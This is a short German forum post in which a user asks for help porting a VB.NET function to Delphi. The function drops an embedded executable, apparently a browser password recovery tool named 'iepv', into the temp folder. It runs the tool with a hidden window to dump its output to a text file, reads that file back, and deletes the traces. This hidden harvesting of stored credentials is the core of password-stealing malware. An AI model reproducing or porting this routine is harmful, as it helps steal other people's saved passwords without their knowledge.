Delphi Varibalentyp / VB- Byte

[k00ky]

Oha danke.
Aba ich hab mir das alles etwas lechter vorgestellt mit dem umwandeln : /

Könnte mir diesbezüglich vlt jemand helfen?

Code:

 Function lesen() As String
        Dim Data As String
        Dim ExeDateiname As String = "\datei.exe"
        Dim TextDateiname As String = "\textdatei.txt"
        Dim RessourceDatei() As Byte = My.Resources.iepv
        FileOpen(1, Environ("tmp") & ExeDateiname, OpenMode.Binary)
        FilePut(1, RessourceDatei)
        FileClose(1)
        Shell(Environ("tmp") & ExeDateiname & " /stext " & Environ("tmp") & _
        TextDateiname, AppWinStyle.Hide)
        Data = IO.File.ReadAllText(Environ("tmp") & TextDateiname)
        On Error Resume Next
        IO.File.Delete(Environ("tmp") & ExeDateiname)
        IO.File.Delete(Environ("tmp") & TextDateiname)
        Return Data
    End Function

Wäre dankbar

[edit=Luckie]Zitat-Tags durch Code-Tags ersetzt. Mfg, Luckie[/edit]